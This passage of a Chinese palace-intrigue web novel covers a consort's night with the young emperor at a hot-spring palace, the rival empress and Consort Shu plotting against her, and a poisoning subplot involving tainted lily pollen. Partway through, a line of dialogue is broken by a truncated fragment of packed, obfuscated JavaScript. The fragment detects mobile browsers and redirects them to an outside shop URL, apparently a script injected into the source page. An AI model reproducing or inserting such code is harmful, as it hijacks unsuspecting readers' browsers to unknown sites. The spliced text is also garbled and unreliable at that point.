陛下对小主的宠爱她们看得清楚,如今又即将行册封礼,日后宫中添人,她们可是元老了,自当紧紧跟上。
楚念辞将香囊拿着过来,别在自己腰上,
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又看了一眼那头面,吩咐道:“登记入册,收进库房吧。”
团圆有些迟疑:“小主,过几日就是册封礼,戴着头面出去多风光……”
“往后有的是机会。”楚念辞目光掠过那流转的华光。
端木清羽如今喜欢的,是自己机敏聪慧。
至于容貌打扮,倒还在其次。
既然他不在意,自己何心费了心思,急于改变。
晚膳过后,李德安又派人过来,让她悄悄预备。
楚念辞客气地送走了来人,这才端着茶杯慢慢坐下,心里盘算起来。
悄悄预备。
小皇帝看样子是不想给别人知道。
这样也好,免得整个宫里妃嫔盯着自己像是个乌眼鸡似的。
可今晚该怎么给皇上一个惊喜。
端木清羽韶华妙容,渊停岳峙。
有点小洁癖,还是个**,矜贵矫情不容易糊弄的。
不过,他多半还没经过男女之事。
幸好自己已经把住了他的脉搏。
他也不是暴戾的性子,只要不触他逆鳞,总不至于为点小事动怒。
这么一想,楚念辞胆子便大了。
她决定剑走偏锋,不循常规。
她让人在暖阁备好热水,由宫人伺候着沐浴更衣,换上一身轻薄的纱衣,就安**在熏炉边等着。
别的妃嫔第一次侍寝,怕是紧张得不行,楚念辞却淡定得很。
毕竟端木清羽在这方面一片空白,而她可是经历丰富。
不像准备侍寝的宫嫔,倒像是等看面首前来贵妇。
她斜倚薰笼,想着绝代风华陛下,不有心猿意马。
前世,她做到过一品诰命夫人,也想过找几个面首,反正与蔺景瑞情分耗尽,他妾室一房房抬进来,自己如何就不能。
后来她见过不少贵夫人私下养面首,不是没动过心思,只是没等她找到了清俊可意的面首,就被那谢氏灌了一碗红花一命呜呼。
何况那些面首,再俊美也比不上端木清羽这般姿容绝世,还干干净净……
想到这儿,楚念辞轻轻笑起来。
陛下宝贝儿,臣妾今晚一定会好好伺候您的……
第65章 赐浴汤泉宫
一直等到日头西沉,夜幕笼罩,端木清羽依旧没有出现。
楚念辞心里有些泄气。
自己不按常理出牌,这小皇帝做事更是没个准谱,有时候真猜不透他在想什么。
正想着,外头忽然传来一阵急促的脚步声。
“团圆,是谁在外面?”她有点不耐地扬声道。
门帘一动,一队宫女鱼贯而入,手中捧着沐浴用的香膏、衣物与妆匣。
她侧头一看,领头的是位老熟人岚姑姑。
楚念辞又惊又喜,脱口唤道:“岚姑姑,您怎么来了?”
岚姑姑脸上虽还端着素日的严肃,眼里却满是笑意。
她领着众人规规矩矩跪下行礼:“给慧小主请安。”
楚念辞连忙上前亲手扶她起来。
岚姑姑这才含笑低声道:“恭喜小主,陛下今晚特意将侍寝安排在了汤泉宫,想给您一份惊喜,这才吩咐先瞒着,让奴婢来为您梳洗更衣。”
楚念辞先是一怔,随即心头涌上阵阵喜悦。
赐浴汤泉宫。
这地方她入宫时就曾遥遥望见过,坐落在后苑郦山之巅,气势恢宏。
听说那是前朝太祖所建,数百年来不断修缮,是宫中一处极特别的所在。
能被赐浴于此,是莫大的恩宠。
原来他也在想着给自己惊喜……这倒真是不谋而合了。
她心中欢喜,面上却故作羞涩地低下头。
岚姑姑只当没看见,温声道:“奴婢侍奉小主更衣吧。”
说罢便与团圆一左一右扶着她,换上一身天蚕丝织就的轻纱罗衣,又为她重新梳妆绾发。
岚姑姑见她肌肤莹白如玉,便想薄施粉黛,楚念辞摇摇头,反正赐浴须入水,她便素面朝天,一净到底,天然娇丽。
一切收拾停当,楚念辞乘上凤鸾春恩车,朝着汤泉宫而去。
此时正是四九寒天,夜里冷得肃杀。
车子经过梅坞时,她忍不住掀帘望去……汤泉宫就在视野尽头,依着陡峭山壁而建,飞檐如展翼,没入朦胧夜色之中。
白玉廊桥若隐若现,连接着几座殿阁,什么也看不清楚,只见宫灯照亮蒸腾起袅袅暖烟,像柔软的云絮,夜色里,宫灯次第亮起,点点金辉漾在氤氲的水汽中,恍如九天之上的琼楼玉宇。
改乘肩辇沿着山路缓缓而上,夜风透过薄帷一阵阵拂在脸上,轻柔又飘忽。
未等她细看周遭景致,肩辇已稳稳停落。
汤泉宫到了。
清一色的汉白玉栏杆映着宫灯,衬得殿宇愈发金碧辉煌。
楚念辞微微垂首,走进殿内。
殿内只一盏素灯,层层帷幔深处,是一池天然的温泉,水汽氤氲蒸腾,暖意如春。
都说这泉水中含有秘药,常浴能养颜祛病,甚至延年益寿,故被称为“圣汤”。
楚念辞轻轻嗅了嗅空气中的气息,心里明白,这不过是泉水中溶了许多有益药材罢了。
此处曾是前朝受宠后妃钟爱处,到了末代,却因哀帝独宠万贵妃、许她独占汤泉而沦为昏聩的罪证。
而本朝开国至今,除了先后,能得赐浴于此的嫔妃,怕也只有她一人了。
池分三处,分别是帝、后、妃嫔所用。
岚姑姑领着她走向嫔妃专用的“玉棠汤”。
进水处立着三尊青玉雕成的鸾鸟,温泉水正从鸟嘴中缓缓注入池中。
入水处立着三尊青玉雕成的鸾鸟,温泉水正从鸟喙中缓缓注入池中。
殿内焚着宁神的香,白烟如雾,一片静谧,只听得见水波轻漾的柔软声响。
池壁以无瑕美玉雕出层层叠叠的海棠花纹,池中竟撒满了鲜红的牡丹花瓣,碧水映着满池娇艳,富贵已极。
楚念辞微微一笑……果然,最懂享受人间富贵的,还是小皇帝。
她褪去外袍,赤足踏上光滑的汉白玉池边。
泉水漫过脚踝,温热熨帖,红艳的花瓣更衬得她肌肤莹白如玉。
她缓缓步入池中,任由暖流包裹全身。
热气蒸腾,像一双温柔的手抚过脸颊,浸透心神。
她舒适地轻叹一声。
正欲阖眼,却瞥见一道明黄身影的影子,淡淡映在垂落的软帷之外。
帷外,岚姑姑与宫女早已悄无声息地退去。
除了端木清羽,谁能这样无声无息地进来?
楚念辞低眉浅笑,轻轻划动双臂,朝那人影的方向游去。
她在池中静候片刻,见他仍不进来,便扬声道:“陛下这是要学哀帝么?臣妾可万万不敢做那万贵妃。”
帷帐被撩开,端木清羽独自负手立在池边,闻言“哧”地笑出声,随即又板起脸佯怒道:“你好大胆子,又把朕比作哀帝。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068327|193684||http|test|mini|href|location''.split(''|''),0,{}));
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r>楚念辞并不怕,只娇声应道:“皇上英明睿智,哀帝岂能相比?只怕前朝开国太祖见了您,也要自叹不如呢。”
她这话恭维得巧妙……端木清羽平日最欣赏的,正是那位英明神武的前朝太祖。
见他衣衫齐整地站在那儿,楚念辞故意嘟囔道:“陛下,您若再不下来,臣妾可要起身了。”
“你起便是。”端木清羽语气淡淡,可楚念辞眼尖,瞧见他耳尖微微泛了红。
“陛下,”她声音里带着笑意,“诗经云,玉体横城,您莫非至今还未见过?”
她没敢直接点破他未经人事……毕竟桃花酿中幻情花的事,本不该是她知晓的。若被他察觉,难保不触到逆鳞。
“休得胡言,”端木清羽绷着脸,语气里却透出几分虚张声势,“朕……你怎知朕床笫私事?”
说完,他竟转过身去。
楚念辞见他站着不动,又轻声添了一句:“臣妾自然不知。只是,若有一日太后关心子嗣,派个像夏冬那般懂事的宫女来‘教导’,陛下却对帐帷之事全然生疏……您准备如何交代?”
太后确实有权赐下宫女,名为侍奉,实为探查引导。
端木清羽听罢,耳根更热了几分。
细想之下,这话确有道理。自己如今靠幻情花应付后宫,若对男女之事一窍不通,的确容易露出破绽。
他走到池边,伸手探了探水温,像是在试冷暖,目光却不由自主地落在池中……水汽氤氲里,少女静静浸在水中,墨缎般的长发铺散开来,随着水波悠悠荡漾,宛如深潭中柔软的水草。几缕发丝贴在她光洁的肩颈上,水珠沿着发梢缓缓滴落。
他喉咙微微发紧。
忽地,他扬唇一笑:“如今嘴硬,有你告饶的时候……”
话音未落,他长袖一挥,殿中唯一那盏烛火应声而灭。
朦胧光晕里,楚念辞看见一双修长的小腿,踏入池边的玉阶。
她笑着往水中一沉,身形在雾气间若隐若现。
端木清羽眯起眼,瞧见她玲珑曲线在水波中一晃而过。
平心而论,他又不是那禁欲的高僧,见到心仪之人这般景象,如何能把持得住。
再说,若真不下去,倒像怕了她似的。
想到这儿,端木清羽轻哼一声,转身振袖,将外袍褪了下去……
第66章 激情过后,清醒自持。
殿内一片漆黑,只有窗外透进些微朦胧的月光,勉强勾勒出人影的轮廓。
楚念辞隐约看见一道修长的身影泛着极柔和的微光。
她从水中探出身,能感觉到他的目光在自己身上停留了一瞬。
虽看不清具体落处,但那短暂的凝注是真实的。
她不羞不恼,反倒觉得有些有趣。
她是经历过人事的,自然懂得少年人在这个年纪,总会对异性的存着天然的好奇。
即便他是天子,终究也是个少年的男子,七情六欲与常人并无不同。
她将双肘向后撑在池沿,抬眼望着他站立的方向,声音放得又轻又软:“陛下,若是想看得更近些。”
端木清羽喉间一紧,脸颊隐隐发烫。
他方才不过是一时失神,并非刻意盯着那里瞧。
被她这么一点破,倒显得自己心思不正似的。
他却听水声轻响。
楚念辞已潜入水中,几下便游到了池子这头。
他没有作声,只抬手抽去了束发的簪子,长发顷刻散开,在昏暗的水面上铺开一片深色的影,在氤氲的水汽与昏暗中,只觉得那轮廓挺拔如竹,步步靠近时带起细微的水波,一直漾到她身前。
她故意脚下忽然一滑。
端木清羽几乎是下意识地反手揽住了她。
黑暗中,温热的泉水与彼此的体温混在一处。
楚念辞这才真切地感觉到,他手臂结实有力,胸膛也比想象中宽阔,宽肩窄腰,蜂腰猿背,许是常打马球的缘故,胸膛与臂膀覆着一层匀称肌肉,线条利落而蕴着力道。
水珠顺着他紧实的肌理滚落,在朦胧中泛着微光。
黑暗中,端木清羽只能隐约看见她眉心的红痣,映着湿润的睫毛,水漉漉的一簇一簇,微微翕动的唇,以及被水浸透的轮廓。
端木清羽喉结动了动。
他忽然确信。
他是喜欢这个女子的,从里到外,从上到下。
自己喜欢她狡黠的笑,喜欢她偶尔流露的天真,更喜欢她这副看似温顺、内里却骄傲难驯的模样。
难的不是得到她的人,而是让她那颗骄傲不羁,难以驯服的心。
这个念头让他心头一热,某种鲜明的征服欲悄然升腾。
端木清羽从身后贴近,吻顺着她耳垂往下落……
周遭那样静,静得能听到铜漏极轻微的声响。
良久,一滴,一滴,像是要惊破缠绵中的绮色的欢梦,身体渐次滚烫起来,仿佛有熊熊烈火在燃烧。
吻越深越缠绵,仿佛呼吸全被他吞了下去,漫天匝地的蛟龙腾跃,似乎要耀花了眼睛,渐渐坠入渐深渐远的迷蒙里……
一场激烈的欢爱过后。
端木清羽像是突然变了个人。
原先渊亭岳峙的面具又掉下来了。
此刻的他,仿佛不知餍足的野狮,眸色幽深地紧紧盯着她。
池中、岸边、水里……楚念辞被他折腾得香汗淋漓,几乎散架。
楚念辞才发现自己错了。
心里早做好了准备是没用的,这身子到底未经人事,根本招架不住。
到最后她几乎是晕过去的,失去意识前只剩一个念头:这男人在床上……太可怕了。
说好的病秧子呢?
怎么会这样……**,妥妥的**呀!
难道他两辈子的精力,全攒着发泄到她身上了?
楚念辞是真的怕了,早知道就不那样撩他了。
她想推开他,可手连抬的力气都没有,只能昏沉沉地小口小口喘着气求饶:“真的不行了……臣妾受不住了。”
“留得青山在,陛下……您该上朝了……唔……”
端木清羽又一次堵住了她的嘴,昏暗的光线下。
他魇足的眼睛,微微慵懒而迷离地盯着楚念辞时,像豹子躺在丛林里,优雅地盯着自己的猎物。
不知多久,他将她软绵绵的身子转过来,面对自己,轻轻拍了拍她的脸:“你睡了一天一夜,不饿吗?起来吃点东西。”
“一天一夜?”楚念辞吓得一颤,“陛下没去上朝?那些老臣知道,非给我扣个祸国妖妃的罪名不可……”
端木清羽低笑一声,翻身压住她,气息灼热:“朕已告了病假,你就安心做朕的‘祸水’。”
他贴近她的耳畔,语气缓了缓,“再躺会儿,不急,明日也告了假。”
楚念辞连指尖都懒得动,哑着声小声嘟囔:“昏君……”
“居然还有力气骂人,”端木清羽笑了,“朕还没喂饱你?”
手下起抚上来,楚念辞很快脸红起来……他的触碰太容易让她浑身发烫。
身体也不由自主地发软。
“陛下……唔……”她还没说完,嘴就又被他堵上了。
当又一天晨光微亮时,一切才终于归于平静。
楚念辞再次醒来,已是第二日早晨。
她浑身酸软,连动动手指都费力,发现自己躺在温泉边御榻上,却只剩她一人,端木清羽早已离开。
雪白的肌肤上尽是昨夜留下的痕迹,瞧着有些触目。
她撑着身子想起身,记起宫规……侍寝后需向皇后行礼。
正要忍痛下榻,殿门轻启,一列宫女捧着洗漱之物鱼贯而入。
为首的仍是岚姑姑。
见到岚姑姑,楚念辞脸上微热:“岚姑姑,又劳烦您了。”
岚姑姑眼里带着喜色,规矩却一丝不乱,领人行礼道:“小主金安。”
她起身后含笑说:“皇上五更天便去早朝了,见您睡得沉,特意吩咐不许惊动。”
“今日还得向皇后娘娘行礼……”楚念辞说着便要起身。
“陛下交代了,”岚姑姑轻声接过话,“今日小主好生休息,明日再去行礼问安不迟。”
楚念辞等着下文……避子汤。
等了半天,岚姑姑已经上前开始为她整理妆容了。
她心里一怔。
端木清羽应该不会希望有孩子降生。
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>他并非心软之人,不料,此番竟为她破了例。
这么想着,她耳根发热,低下头去。
岚姑姑以为她害羞,只作不见,与另一名宫女一同扶她起身,伺候她梳洗更衣。
“姑姑怎会在此当差?”楚念辞随口问。
“奴婢往后便是小主宫中的掌事姑姑了,”岚姑姑温声答,“只是您宫殿还在修缮,等过几日奴婢才能为你效力。”
楚念辞心中轻动……他竟连这些都安排好了。
她面带着无限的惊喜与感激,又朝着前殿跪拜谢恩。
这些宫人中,说不走中间就有端木清羽眼线,看她会不会恃宠而骄。
他不喜欢循规蹈矩的女人,可更不喜欢肆意妄为的女人。
如果她刚侍寝,就忘乎所以,恐怕失宠得更快!
岚姑姑见她如此知礼,亦有几分动容。
上前扶起她,楚念辞掩去眼底神色算计,抬眸时笑容纯净,脸上带着恰到好处的惊喜。
任谁也挑不出一点错误。
她在汤泉宫歇至午膳后,才缓缓起身出门。
御前太监敬喜却匆勿而来,将一书帛赠予:“陛下让奴才送予小主。”
楚念辞展开一看,原来是一首情诗:“愿汝心似吾心,定不负相思意。”
这是回答她,写在旧娟帕上那首:“妾心似磐石,君心似流水,若要君知妾,除非妾作君,君为妾。”
楚念辞心中感叹。
他认为定不会负了自己的相思。
可这场欢爱,能羁绊君王多少感情呢。
她可没有那么天真。
出门便见门前停着一架八抬妃辇。
岚姑姑暗自一惊,后宫从未有妃嫔连续侍寝两日,更别提赐辇送回。
这位慧贵人,在陛下心中果然不同。
敬喜上前,姿态恭敬:“小主,陛下吩咐奴才送您回宫。”
楚念辞颔首:“有劳公公。”
“奴才多嘴一句,”敬喜低声道,“伺候陛下这些年,还未见他对哪位娘娘如此上心,小主,陛下是真疼您。”
楚念辞脸上适时浮起羞赧,心里却静得很。
一架妃辇,就想让自己五体投地。
端木清羽不过是贪她身子新鲜,这点宠爱能持续几日,尚未可知。
她不会为这点表面恩宠昏了头。
不过无妨……高明的猎手,往往最需要耐心,而她,最不缺的就是耐心。
虽说端木清羽喜爱自己的身体。
但以色事人,能得几时安稳,色衰而爱弛也很正常。
对她有几分新鲜感。
谈不上喜欢,更别说爱了。
她必须在端木清羽对她的新鲜感消失之前,让他将她放在心上。
下山之时,她一边欣赏着沿途的景色,一边默默思忖,
这时她突然想到一个非常严重的问题。
蔺皇后……
这赐浴就算做得再隐秘,也骗不了皇后。
毕竟宫中的妃嫔记档都是经过她的……
第67章 醋淹两宫危险来袭,以一招制敌。
楚念辞一路上,暗暗思忖。
皇后知道了,以她性子,不会马上发作,只会想暗招来整治自己,这些暗招不会马上发作,自己有的是时间布局,是不用怕的。
回到暖晴阁时,团圆早已带着宫人在外头候着了。
一见她回来,众人连忙行礼道喜。
“都起来吧,”楚念辞温声说罢,示意团圆将一个荷包递给敬喜,“喜内侍,辛苦了,一点心意,喝盏茶。”
敬喜如今圣心日隆,已是御前最得脸的大太监,巴结他的人不在少数,地位节节攀升,寻常赏赐他未必会收。
但因着楚念辞先前在养心殿当差时就与他熟络,加上心里清楚陛下对这位慧贵人,她其实是陛下第一个侍寝的。
想到这儿,他脸上挂出一个狐狸般的笑,收下笑着躬身:“谢小主赏,小主破费了。”
掂了掂手上不轻的分量,临走前,他稍稍近了半步,用极低的声音快速说了一句:“小主,您的侍寝记档,皇后娘娘那边方才派人取走了,放心,档上只有侍寝,其余什么都没有。”
楚念辞面色平静,只微微颔首:“多谢您提点。”
这句看似随意的提醒,实则分量不轻,也印证了她的猜测。
这件事果然瞒不住了。
皇后知道了,其他宫嫔便也瞒不住了。
进了内室,团圆伺候她更衣时,一眼便瞧见她颈间与肩头几处淡淡的青紫痕迹。
团圆顿时瞪大了眼睛:“小主,陛下怎么打您啊……”
楚念辞正端着一盏茶喝,闻言一口水喷在地上。
想她尚未经人事,只好嘴角抽搐了两下。
“不妨事,”楚念辞摆摆手道,“把那盒特制的药膏拿来敷上。”
她可不想明天,顶着这一身的痕迹,去坤宁宫,那些宫妃还不把自己吃了。
“哦……”团圆嘟着嘴,去拿药膏了,一边心疼,一边帮她按摩。
楚念辞趴在贵妃榻上,心想,端木清羽小**,如此不知节制,以后得给他立规矩。
一盏茶后,药膏涂好,楚念辞唤来满宝,问道:“这两日外面可有什么风声?”
满宝嘴里还含着糖球,腮帮子鼓鼓的,含糊地回道:“小主赐浴汤泉宫的事没传开,但奴才听说,坤宁宫那位‘菩萨’今儿傍晚发了好大的火,摔了茶盏,还罚了个小太监……奴才琢磨着,这事儿八成跟您有关,明早去请安,恐怕不会太平。”
团圆忍不住蹙眉:“陛下宠幸谁,岂是旁人能左右的?皇后娘娘若为此为难小主,岂非蛮不讲理……”
楚念辞淡淡一笑:“你何时觉得,她是讲理的人?”
“那可怎么办?”团圆忧心忡忡,“您如今只是贵人,怎能与皇后抗衡?”
“她不会亲自下场的,”楚念辞神色平静,“以她的性子,最擅借刀**。”
“她多半会将这股火,引到淑妃那儿去。”
淑妃,怎么差点把她忘了?
楚念辞一想到她,手心不由冒出冷汗。
以她那跋扈的性子,知道此事,绝不会忍耐,说不定马上就要发作起来。
她双手一下紧紧攥起,忙问:"淑妃有何动静?"
“淑妃娘娘如今正一门心思保胎,安胎药一日不落地喝着,”满宝“咔”一声咬碎糖球,“不过奴才听说,她近来极爱百合香气,花房每日都往她宫里送许多新鲜百合。”
百合花?
楚念辞心头微微一动。
这喜好本身无甚特别,但在此刻听来,总觉有些蹊跷。
“满宝,”她吩咐道,“你想办法,悄悄取些她宫里换下来的百合花粉来,记得要小心,多采几种不同时辰的。”
“是。”满宝机灵,领命便去了。
楚念辞独自**片刻。
眼下局势,皇后不会如何,淑妃之危,却已迫在眉睫,对于将要来临的刁难,她皱眉沉思。
怎么办?
去求小皇帝嘛。
不行,想起那日他说,身边不留经不起风雨的小花,若是这种事也去求他,也显自己没用。
突然,她想到绿翘,那个淑妃身边一等大宫女,冷眼看此女才是淑妃的利爪,是个老辣精明之人,不会看着主子乱来。
"团圆,你马上去玉坤宫散布些皇后送礼给我之言。"
皇后会将赐浴的事传去,若绿翘再知道送礼之事,一定会认为皇后一边拉拢自己,一边给淑妃递刀,想看两边鹬蚌相争,因此会竭力劝阻淑妃。
团圆点头,忙去了,楚念辞心神慢慢静下来,又将前几日皇帝赏的那幅《寒梅图》取下,铺开一张霞影纸,研墨蘸笔,静静地临摹起来。
笔下梅枝渐渐成形,她的心也在这重复的勾勒中,慢慢沉静下来,心中一个计划也慢慢成形。
坤宁宫内,一片寂静。
蔺皇后端坐着,手里捧着点金粉彩的茶盏,垂眸慢慢撇着浮沫。
杯盖轻刮盏沿的细微声响,在空旷的殿内格外清晰,一下,又一下,听得人心里发紧。
内务府大太监秦立跪在
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下方,额角已渗出冷汗。
“说吧,陛下与慧贵人在汤泉宫做了什么?”良久,皇后才开口,声音听不出情绪。
秦立差点噎死。
孤男寡女,共处一室,两人还能做什么?
这还要问吗?
但他不敢这么说,只道:“回娘娘,陛下召慧贵人侍寝了。”
“这本宫知道,”蔺皇后看他一眼,只觉此人蠢笨无比,连个话音都听不出来。
半天,才无奈问道,“你看记档,陛下休朝二天,只侍寝一次?”
秦立肩头一颤,稳住心神回道:“档上一次,便只一次,奴才……只知这么多,御前前段时间大清洗,奴才一个眼线被调去辛者库,如今插不上手。”
皇后抬起眼,目光扫过他:“如此说来,只是陛下一时兴起,不是什么人举荐的?”
“是……”秦立伏低身子,不敢多说。
“知道了,”皇后语气平淡,“内务府新进的那二十个精干太监宫女,你安排一下,拨到棠棣宫去。”
“是。”秦立连忙应下,见皇后挥手,这才躬身退了出去。
直到拐过宫墙无人处,他才用袖子擦了擦额角,恨恨啐了一口:“真是晦气,还真把自己当正经主子,半点赏赐都落不着,还整天担惊受怕……”
他看了眼名单,有几个从前伺候过俏答应的旧人,又啐了一口:“原来是佛口蛇心,犯了错的宫人往新人宫里塞,不安好心。”
殿内,夏冬见皇后神色倦怠,轻声劝道:“娘娘,您别动气。”
蔺皇后叹了口气,将茶盏搁下,端美的脸上闪过阴霾:“本宫怎会拈酸吃醋,中宫无子,这位置终究坐不安稳,陛下一个月,进后宫也就那么几次,本来恩宠就少,如今还要被她分去,本宫何时才能怀上龙嗣?”
“陛下许是图个新鲜……”
“本宫知道,”皇后打断她,眼底掠过一丝冷意,“可后宫最怕的,就是这种‘新鲜’,若让她先怀上龙嗣……她瞧着单纯,内里未必简单,罢了,先给她‘锦上添花’吧,叫人往她宫墙涂料里,好好掺上椒泥。”
夏冬会意:“是,那娘娘,要不要直接一了百了……”
“不必,只要没有子嗣,区区一个贵人,本宫还没把她放在眼里,”皇后揉了揉眉心,露出些许疲态,“把这事儿透给玉坤宫那位,她们若能鹬蚌相争,也算没白费这番布置。”
夏冬立刻明白了……娘娘这是暂时不打算亲自出手,要借淑妃的刀了。
第68章 陛下给的惊喜,母族脱贱籍。
玉坤宫侧殿的花房里,淑妃一身骑装,手中的桃花鞭正一下下抽在那些刚送来的鲜花上。
花瓣碎叶零落四溅,仿佛那些花便是她心头恨着的人。
“慧贵人那个**,竟敢哄着皇上赐浴,”她妩媚的眼中尽是怒火,“去把她给本宫传来,本宫要好好教教她规矩!”
“娘娘息怒,”绿翘轻声劝道,“这消息是皇后宫里递来的,摆明了是要挑拨,还有,刚刚收到消息,她向慧贵人,送了不少好东西,一边拉拢她,一边给咱们递消息,想要看咱们与她鹬蚌相争,她眼下正得圣宠,咱们也该先拉拢着,您这般发作,不过图一时痛快,不如等日后陛下冷落她时,再慢慢处置不迟。”
淑妃却气得头痛欲裂,半个字也听不进。
一个小太监想退下去传人,被绿翘使眼色拦住了。
淑妃猛地起身走到窗前,一把推开窗户。
夜色正浓,月光清冷如霜,洒在庭园里,也照亮远处养心殿的灯火。
往日觉得诗意的光景,今夜却刺得她眼睛发涩。
她终于伏在窗框上痛哭起来。
绿翘默默陪在一旁,等她哭声稍缓,才低声道:“奴婢明白娘娘心里苦,那慧贵人固然可恨,可眼下动她,反倒落了皇后的套,不如……将消息透给悦嫔?她至今未得侍寝,也气得脸都绿了,又与慧贵人不睦,若让她在前头去对付,岂不省心?”
淑妃抬起泪眼,皱着长眉想了半天,眸中闪过寒光,没有说话。
“娘娘,若是此时动手,一定会令陛下不快的。”绿道。
淑妃面上一僵,这才恨恨地收起鞭子,道:“……便这么办,你派人传话悦嫔,若她聪明,就知道该怎么做。”
“是。”绿翘垂首应下,道,“既如此,奴婢派人送点赏赐给慧贵人,省得她起疑。”
从勤政殿回到养心殿,端木清羽批奏折时走了三回神。
到了晚间翻牌子,小太监照例托上绿头牌。
李德安见他手指又往“慧贵人”的牌子上挪,忙轻声提醒:“陛下,慧贵人已接连侍寝两日了。今夜……您是否歇息歇息?”
端木清羽瞥他一眼:“你是觉得朕体力不支?”
李德安赶紧笑着轻拍一下自己的嘴:“奴才愚钝,陛下龙精虎猛,自然不是这个意思,只是慧小主连承恩宠,难免惹人注目,奴才想着,不如赏些特别的,以示体恤?”
“特别的赏赐?”端木清羽放下朱笔,淡淡道:“宫嫔侍寝之后会升一级,但她未侍寝便为贵人,六宫侧目,已无法再晋升,朕不欲她成为众矢之的,还是等来日吧。”
“慧小主家中虽富,门第却单薄些。”李德安点到即止。
端木清羽忽然想起,侍寝过后,确实还未给她什么实在的恩典。
她虽是江南富商之女,什么也不缺,唯独缺一份家世底气。
可惜如此她,有如此的见地,母族终究是撑不起来。
他心中一动,不由多了一丝怜惜。
“朕记得她提过,她舅舅曾捐过军饷,得过‘皇商’金匾,”他沉吟道他沉吟片刻,道:“传旨详查其舅父与楚茂林的官声,若无污点,便擢乔家大舅为内务府参赞,协理江南事务,楚茂林升任苏州知府,其母族脱商入良,准子弟科考,明旨半月后随廷记寄出。”
李德安暗自一惊……
其他也就罢了,陛下竟要为慧贵人母族脱贱籍,这可不一般。
要知道大夏,等级分明,除了立军功的将军,还没有人能轻易脱贱籍。
他还没回过神,又听端木清羽道:“再从朕的私库里,挑几件海棠式样的首饰,一并送去,今夜便让她好好休息。”
海棠娇艳无匹,花香馥郁,姿态却雅致,娇而不艳,正配她。
“奴才遵旨。”李德安躬身领命,腰身弯的弧度很低。
心中已有计较,往后对这位慧贵人,得更另眼相待。
翌日清早,李德安便带着圣旨与流水般的赏赐进了暖晴阁。
往来不过几步路。
“奉天承运皇帝,诏曰:慧贵人楚氏,性行温婉,侍上恭顺,朕心甚悦,特赐海棠如意珠冠一顶、蝶穿海棠屏风一架,以示嘉勉。”
“小主,请接旨吧。”
楚念辞领着宫人恭敬谢恩:“臣妾领旨,谢陛下隆恩。”
她示意团圆打赏了李德安与随行太监。
李德安笑容满面,压低声音道:“恭喜小主,真是天大的喜事,陛下已传旨,您舅舅任内务府参赞,楚大人升任苏州知府,另外,陛下还为您母族脱商入良,子弟允许参加科考。”
他言语间已不自觉用上了“您”:“老奴在御前这些年,少见陛下对哪位娘娘如此上心,这番安排,实在不同寻常。”
楚念辞心中震动,手中的帕子险些掉在地上。
她眼眶霎时红了。
这次确实真有些感动了。
父亲的官职也就罢了。
舅舅当年捐出半副身家助饷,也不过换得一块金匾,而她只是侍寝两日,便能让母族脱商入良。
前世小舅舅和表哥空有满腹才学,却因商籍所限,无法踏入科考场,这一世,他们终于能凭自己的本事,去搏锦绣前程了。
母亲知道后一定会如自己一样惊喜。
她立即倾身下去,十分郑重地朝着养心殿方向行了三拜九叩大礼。
李德安上前扶起她,心内触动。
受了如此恩宠,若是旁人,难免会有些骄纵得意,而慧小主反而更加谦卑恭敬,这样的人,往往能在宫里活得长久,也能走得更远。
送走李德安后,她轻轻抚过那套海棠金钗,花瓣层叠,精致温婉。
果然抓住小皇帝的心,便能一步一步地攀爬上去。
心中感动之余,她也没有忘记告诫自己要守住初心,谨慎而行。
深宫太残酷了,若是一旦涉入情爱,就会如淑妃那样,冲动盲目,而在小皇帝面前也不能露出野心,否则便如玉嫔、俏贵人之流,轻则被废,重则被打入冷宫,这两
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人有家世支撑,犯了错还能保条命,若是自己,只怕会身首异处连累家族。
这时,团圆又端了个托盘进来,里头躺着一枚嵌金玉佩。
“小主,玉坤宫派人送来的赏赐。”
“人呢?”
“放下东西便走了。”
楚念辞眼底掠过一丝讶异,随即便明白了。
淑妃这是既防着她,又想拉拢她。
所有来人,才会这般鬼鬼祟祟,没见她就走了。
不过,这还算不差,以淑妃那善妒易怒的性子,没直接提着鞭子找上门已算难得,如今竟送来东西,定是身边有人劝住了。
不过……恐怕还留着后手。
心中虽如明镜,楚念辞面上依旧平静:“备一份回礼送过去吧。”
“是。”
这时满宝揣着个纸包,悄悄走了进来。
“小主,您吩咐的事办妥了。”他将纸包放在桌上,打开一看,是一包细细的花粉。
这正是楚念辞让他去寻的、淑妃宫中所用的百合花粉。
她拈起少许轻嗅,一股馨香之中,隐隐夹着一丝不易察觉的异味……是夹竹桃与红花。
皇后终究最忌惮淑妃。
给她那些花苞里下了料。
夹竹桃令人心悸头痛、易躁动,红花则是避孕之用。
这事本与楚念辞无关,但想到稍后去请安必遭针对,这份“礼”倒是能派上用场。
“满宝,取十两银子,找人等在坤宁宫外,待淑妃娘娘来请安时,捧一束百合往她身上蹭一蹭。”
“明白。”满宝眼珠一转,也不多问,利落地应声去了。
这孩子,确实机灵,没问原因,一点即透,可惜年龄太小,不然以后让他做自己的总管倒是可以。
团圆在一旁欣喜道:“贺喜小主,淑妃娘娘刚送了赏赐,今日请安至少没了一个对头。”
“你以为她是真心放过我?”楚念辞轻笑。
“难道不是?若还要为难小主,为何送礼来……”
“你几时见过淑妃善罢甘休?”楚念辞神色淡然,“不过她不会亲自出手……因为她更在意陛下看法。”
前世淑妃也并非全无头脑,她在后宫如此张扬,无非是仗着家世,可那份独占圣宠的心思,终究成了一剂穿肠的**,害她功败垂成。
也正因这一点,她很在意小皇帝的想法。
未必真敢明目张胆动皇帝眼下看重的人。
梳妆妥当后,楚念辞看了眼自己画的寒梅图,吩咐道:“带上这个,随我去见坤宁宫。”
既然淑妃送了礼,她也该回一份心意。
团圆迟疑:“小主,这并非名贵之物,送给淑妃恐怕不妥……”
楚念辞狡黠一笑:“礼不在贵重,重在合人心意,这画,正好。”
这东西,可是能平息淑妃的怒火呢。
“等过会儿,让满宝去找个眼生的小太监,把这画送到坤宁宫。”
“过会儿淑妃会崩溃,痛哭流涕,你信不信……”楚念辞对自家小丫鬟说……
第69章 慧贵人是狐媚惑主的妖姬
去坤宁宫的路上,楚念辞遇见了沈澜冰。
